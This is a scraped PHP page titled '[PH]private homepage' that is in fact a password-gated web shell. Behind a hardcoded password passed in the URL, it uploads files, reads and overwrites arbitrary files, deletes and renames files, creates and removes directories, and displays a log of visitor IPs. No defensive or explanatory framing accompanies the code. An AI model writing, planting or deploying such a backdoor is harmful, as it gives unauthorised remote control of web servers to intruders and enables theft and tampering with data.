DOCTYPE html PUBLIC W3C DTD XHTML Transitional EN http www w3 org TR x

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="ru">
<head>
<title>[PH]private homepage</title>
<meta http-equiv="content-type" content="text/html; charset=windows-1251" />
<link rel="shortcut icon" href="favicon.bmp" />
<style type="text/css">
body
{
background-color:#222222;
color:#999;
font-family:Verdana, Arial;
font-size:11px;
padding:0px;
margin:0px;
}
.button
{
background: #292929;
color: #999;
font: 8pt verdana;
padding: 4px;
border:1px solid #353535;
}
select
{
background: #292929;
color: #999;
font: 10px verdana;
border:1px solid #444;
padding:3px;
}
form
{
padding:0px;
margin:0px;
}
textarea, .bginput
{
background: #292929;
color: #999;
font: 8pt verdana;
padding:3px;
border:1px solid #353535;
}
.bginput option, .bginput optgroup
{
font-size: 8pt;
font-family: verdana;
}
</style>
</head>
</html>
<form method="GET">
<input type="text" name="passwd" class="bginput" style="width:150px" value="pass" type=input onblur="if(this.value=='') this.value='pass';" onfocus="if(this.value=='pass') this.value=''">
<input type="submit" class="button" value="Check">
</form>
<?php
$passwd= $_GET['passwd'];
if ($passwd == 'hehe')
{
echo'<table width="100%" ><tr><td width="50%" style="border: 1px dotted #555555;">';
if ($File&& $File != "none") {
echo "<b>Your File:</b>";
echo "File onto the server: $Fichier<BR>";
echo "Sended File: $File_name<BR>";
echo "Size : $File_size<BR>";
echo "Tipe : $File_type<BR>";
echo "<a href='/$File_name '>downloaded file</a>";
copy($File, $File_name);
}
echo '<FORM ENCTYPE="multipart/form-data" METHOD="POST">
<INPUT TYPE="hidden" class="bginput" name="MAX_FILE_SIZE" value="100000">
Send : <INPUT NAME="File" TYPE="file">
<INPUT TYPE="submit" VALUE="Send"></FORM>';
echo'</td><br><br><td width="50%" style="border: 1px dotted #555555;">';
echo'
<center><font size="7pt">...:::A</font><font size="6pt">d</font><font size="5pt">m</font><font size="4pt">i</font><font size="3pt">n</font><font size="3pt">i</font><font size="2pt">s</font><font size="2pt">t<font size="3pt">r</font><font size="3pt">a</font><font size="4pt">t</font><font size="5pt">i</font><font size="6pt">o</font><font size="7pt">N:::...</font>';
echo'</td></tr><tr><td width="50%" colspan="2" style="border: 1px dotted #555555;">';
$filename = "ip.txt";
$handle = fopen(trim($filename), "r")or die('error');
$b = fread($handle, filesize($filename));
fclose($handle);
$ah=explode("|",$b);
$al=array_unique($ah);
echo '<pre>';
print_r($al);
echo '</pre>';
echo "<br>total visits ". count($ah)."<br><br> uniks ".((count($al))-1)."<br><br>";
$mtim = filemtime($filname);
echo "last update ip.txt:".date("Y-m-d H:i:s")."<br>";
echo '';
echo'</td></tr><tr><td colspan="2" width="50%" style="border: 1px dotted #555555;">';
echo '<pre>';
print_r(glob("[a-zа-яA-ZА-Я1-9]*",GLOB_ONLYDIR));
echo '</pre>';
echo '<br><form method=post>
<br><input name="folder" class="bginput" type="text" value="">make a folder||folder in folder ==css/new folder<br>
<input name="fol" type="radio" value="0" checked>make folder<br>
<input name="fol" type="radio" value="1">del<br><br>
<input type="submit" class="button" value="do it!" style="height:20px; width:140px;">';
$foldername=$_POST['folder'];
switch ( $_REQUEST['fol']) {
case 0:
@mkdir("$foldername");
echo "<br><br>$foldername was created succesful!";
break;
case 1:
@rmdir("$foldername");
echo "<br>$foldername was deleted succesful!<br>";
break;
}
echo'</td></tr><tr><td style="border: 1px dotted #555555;">';
echo '<pre>';
print_r(glob("*.[a-zA-Z1-9]*"));
echo '</pre>';
$url="0ph.ru";
switch ( $_REQUEST['fajlo']) {
case 0: if(@rename(trim($old),trim($new))) echo $old ."  renamed to".$new."<br><br>";
break;
case 1:if(@unlink(trim($Name))) echo $Name ."<br>has been deleted<br><br>";
break;
case 2:
$filename =trim($_POST['changed']);
$handle = fopen($filename, "r");
$bbb = fread($handle, filesize($filename));
@fclose($handle);
break;
case 3:
$log = fopen(trim($changed),"w");
fwrite($log,stripslashes($fff));
@fclose($log);
break;
}
echo '<br><form method=post>
<br>..::READING FILES::.. <br><br>
<input name="fajlo" type="radio" value="3" checked>save changes<br>
<input name="fajlo" type="radio" value="2" checked>read file<br>
<input name="changed" class="bginput" type="text" value='.$changed.'><br>
<br><br><br><br>..::DELETING FILES::.. <br><br>
<input name="fajlo" type="radio" value="1" checked>delete <br>
<input name="Name" class="bginput" type="text" value="">delete file for exampl 1.txt or css/1.txt<br><br>
<br><br><br><br>..::RENAMING FILES::.. <br><br>
<input name="fajlo" type="radio" value="0" checked>rename
<br><input name="old" class="bginput" type="text" value="">old<br><input name="new" class="bginput" type="text" value="">new
<br>
<br><input type="submit" class="button" value="quick do it!" style="height:20px; width:140px;"><br>
</td><td width="50%" style="border: 1px dotted #555555;">
<textarea name="fff" rows=100 cols=100 wrap="on">'.stripslashes(trim(str_replace("</textarea>",htmlspecialchars("</textarea>"),$bbb))).'</textarea>';
echo "<br>".realpath($link);
} else {
echo 'Incorrect';
}
?>